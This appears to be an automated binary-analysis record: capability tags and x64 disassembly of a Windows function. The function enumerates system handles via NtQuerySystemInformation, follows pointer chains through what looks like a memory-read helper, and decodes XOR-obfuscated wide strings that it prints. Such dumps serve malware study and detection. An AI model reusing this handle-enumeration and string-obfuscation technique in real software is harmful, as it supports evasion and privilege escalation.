Function at 0x14004e7f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140093010]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor ebx, ebx
lea r9, [rbp + 7]
mov r14, rcx
mov dword [rbp + 7], ebx
xor r8d, r8d
xor edx, edx
mov edi, ebx
lea ecx, [rbx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14004e886
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 7]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp + 7]
lea r9, [rbp + 7]
mov rdx, rax
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14004e840
mov qword [rsp + 0xe8], rsi
mov qword [rsp + 0xf0], r15
test eax, eax
js 0x14004ef1e
test rdi, rdi
je 0x14004ef34
mov r15, rbx
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14004e918
mov rax, rbx
nop dword [rax]
nop dword [rax + rax]
lea rax, [rax + rax*4]
movups xmm0, xmmword [rdi + rax*8 + 0x10]
movsd xmm1, qword [rdi + rax*8 + 0x30]
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp - 0x59], xmm0
movups xmm0, xmmword [rdi + rax*8 + 0x20]
movsd qword [rbp - 0x39], xmm1
movups xmmword [rbp - 0x49], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movups xmm0, xmmword [rbp - 9]
mov ecx, eax
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x14004e906
cmp qword [rbp - 0x49], r14
je 0x14004e914
inc esi
mov eax, esi
cmp rax, qword [rdi]
jb 0x14004e8c0
jmp 0x14004ef23
mov r15, qword [rbp - 0x59]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15, r15
je 0x14004ef34
lea r8, [r15 + 8]
mov qword [rbp + 0x27], rbx
mov r9d, 8
lea rdx, [rbp + 0x27]
mov rcx, r14
call fcn.14004d360
test al, al
je 0x14004ee7e
mov r8, qword [rbp + 0x27]
test r8, r8
je 0x14004ee7e
add r8, 8
mov qword [rbp + 0x2f], rbx
mov r9d, 8
lea rdx, [rbp + 0x2f]
mov rcx, r14
call fcn.14004d360
test al, al
je 0x14004edde
mov r8, qword [rbp + 0x2f]
test r8, r8
je 0x14004edde
add r8, 0x28
mov qword [rbp + 0x1f], rbx
mov r9d, 8
lea rdx, [rbp + 0x1f]
mov rcx, r14
call fcn.14004d360
test al, al
je 0x14004ed36
mov r8, qword [rbp + 0x1f]
test r8, r8
je 0x14004ed36
xorps xmm0, xmm0
lea rdx, [rbp + 0xf]
add r8, 0x58
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
movups xmmword [rbp + 0xf], xmm0
call fcn.14004d360
test al, al
je 0x14004ec9f
movzx eax, word [rbp + 0xf]
test ax, ax
je 0x14004ec9f
mov ecx, eax
mov eax, 2
shr rcx, 1
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14006d494
movzx r8d, word [rbp + 0xf]
xor edx, edx
add r8, 2
mov rcx, rax
mov rdi, rax
call fcn.14006e0ea
movzx r9d, word [rbp + 0xf]
mov rdx, rdi
mov r8, qword [rbp + 0x17]
mov rcx, r14
call fcn.14004d360
test al, al
jne 0x14004eafa
mov dword [rbp - 0x59], 0x167f1606
mov ecx, 0x165d
mov dword [rbp - 0x55], 0x16401602
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x16091619
mov dword [rbp - 0x39], 0x160a160c
mov dword [rbp - 0x35], 0x1614164f
mov dword [rbp - 0x31], 0x161b1603
mov dword [rbp - 0x2d], 0x16111605
mov dword [rbp - 0x29], 0x16561607
mov dword [rbp - 0x25], 0x16191619
mov dword [rbp - 0x21], 0x161f1614
mov word [rbp - 0x1d], bx
mov byte [rbp - 0x1b], 1
nop dword [rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004eac0
mov byte [rbp - 0x1b], 0
lea rdx, [rbp - 0x59]
mov rcx, qword [0x140070250]
call fcn.140054ac0
lea rdx, [0x140054ca0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14004ef34
mov rdx, qword [rbp + 0x1f]
lea r8, [rbp + 0xf]
add rdx, 0x58
mov word [rbp + 0xf], bx
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
call fcn.14004d360
mov dword [rbp - 0x55], 0x16401602
mov ecx, 0x165d
test al, al
jne 0x14004ebde
mov dword [rbp - 0x59], 0x167f1606
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x161e161c
mov dword [rbp - 0x39], 0x161a1604
mov dword [rbp - 0x35], 0x1650160a
mov dword [rbp - 0x31], 0x16001615
mov dword [rbp - 0x2d], 0x1602161a
mov dword [rbp - 0x29], 0x16041610
mov dword [rbp - 0x25], 0x16161657
mov dword [rbp - 0x21], 0x16171618
mov dword [rbp - 0x1d], 0x165c161e
mov dword [rbp - 0x19], 0x161b1611
mov dword [rbp - 0x15], 0x16e71611
mov dword [rbp - 0x11], 0x16ea16f5
mov word [rbp - 0xd], bx
mov byte [rbp - 0xb], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x26
jb 0x14004ebc0
mov byte [rbp - 0xb], 0
lea rdx, [rbp - 0x59]
jmp 0x14004ead9
mov dword [rbp - 0x59], 0x16751606
mov dword [rbp - 0x51], 0x160f162c
mov dword [rbp - 0x4d], 0x160a1636
mov dword [rbp - 0x49], 0x16091609
mov dword [rbp - 0x45], 0x160c1606
mov dword [rbp - 0x41], 0x160e160c
mov dword [rbp - 0x3d], 0x161e162f
mov dword [rbp - 0x39], 0x16181604
mov dword [rbp - 0x35], 0x1602160a
mov dword [rbp - 0x31], 0x16521602
mov dword [rbp - 0x2d], 0x16181630
mov dword [rbp - 0x29], 0x16171610
mov dword [rbp - 0x25], 0x161d1619
mov dword [rbp - 0x21], 0x1640161d
mov dword [rbp - 0x1d], 0x165b
mov byte [rbp - 0x19], 1
nop dword [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1f
jb 0x14004ec50
mov rcx, qword [0x140070250]
lea rdx, [rbp - 0x59]
mov byte [rbp - 0x19], 0
call fcn.140054ac0
mov rcx, rax
mov rdx, rdi
call fcn.140054ac0
lea rdx, [0x140054ca0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.14006cef0
mov al, 1
jmp 0x14004ef36
mov dword [rbp - 0x59], 0x167f1606
mov ecx, 0x165d
mov dword [rbp - 0x55], 0x16401602
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x1605160d
mov dword [rbp - 0x39], 0x160a1603
mov dword [rbp - 0x35], 0x1614164f
mov dword [rbp - 0x31], 0x161b1603
mov dword [rbp - 0x2d], 0x16111605
mov dword [rbp - 0x29], 0x16561607
mov dword [rbp - 0x25], 0x16191619
mov dword [rbp - 0x21], 0x161f1614
mov word [rbp - 0x1d], bx
mov byte [rbp - 0x1b], 1
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004ed20
jmp 0x14004ead1
mov dword [rbp - 0x59], 0x167f1606
mov ecx, 0x165d
mov dword [rbp - 0x55], 0x16401602
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x1605160d
mov dword [rbp - 0x39], 0x160a1603
mov dword [rbp - 0x35], 0x1614164f
mov dword [rbp - 0x31], 0x161b1603
mov dword [rbp - 0x2d], 0x16111605
mov dword [rbp - 0x29], 0x16291607
mov dword [rbp - 0x25], 0x161d1604
mov dword [rbp - 0x21], 0x160e161a
mov dword [rbp - 0x1d], 0x16131612
mov dword [rbp - 0x19], 0x1613
mov byte [rbp - 0x15], 1
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x21
jb 0x14004edc0
mov byte [rbp - 0x15], 0
lea rdx, [rbp - 0x59]
jmp 0x14004ead9
mov dword [rbp - 0x59], 0x167f1606
mov ecx, 0x165d
mov dword [rbp - 0x55], 0x16401602
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x1605160d
mov dword [rbp - 0x39], 0x160a1603
mov dword [rbp - 0x35], 0x1614164f
mov dword [rbp - 0x31], 0x161b1603
mov dword [rbp - 0x2d], 0x16111605
mov dword [rbp - 0x29], 0x16291607
mov dword [rbp - 0x25], 0x161a1618
mov dword [rbp - 0x21], 0x161f1613
mov dword [rbp - 0x1d], 0x16081618
mov word [rbp - 0x19], bx
mov byte [rbp - 0x17], 1
nop dword [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x20
jb 0x14004ee60
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x59]
jmp 0x14004ead9
mov dword [rbp - 0x59], 0x167f1606
mov ecx, 0x165d
mov dword [rbp - 0x55], 0x16401602
mov dword [rbp - 0x51], 0x16031627
mov dword [rbp - 0x4d], 0x1608160a
mov dword [rbp - 0x49], 0x16021600
mov dword [rbp - 0x45], 0x161c1647
mov dword [rbp - 0x41], 0x164a1606
mov dword [rbp - 0x3d], 0x1605160d
mov dword [rbp - 0x39], 0x160a1603
mov dword [rbp - 0x35], 0x1614164f
mov dword [rbp - 0x31], 0x16041614
mov dword [rbp - 0x2d], 0x1617161a
mov dword [rbp - 0x29], 0x16291610
mov dword [rbp - 0x25], 0x161a1618
mov dword [rbp - 0x21], 0x161f1613
mov dword [rbp - 0x1d], 0x16081618
mov word [rbp - 0x19], bx
mov byte [rbp - 0x17], 1
nop dword [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x59], ax
inc rbx
cmp rbx, 0x20
jb 0x14004ef00
mov byte [rbp - 0x17], 0
lea rdx, [rbp - 0x59]
jmp 0x14004ead9
test rdi, rdi
je 0x14004ef34
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov r15, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe8]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14006ce00
mov rbx, qword [rsp + 0xf8]
add rsp, 0xc0
pop r14
pop rdi
pop rbp
ret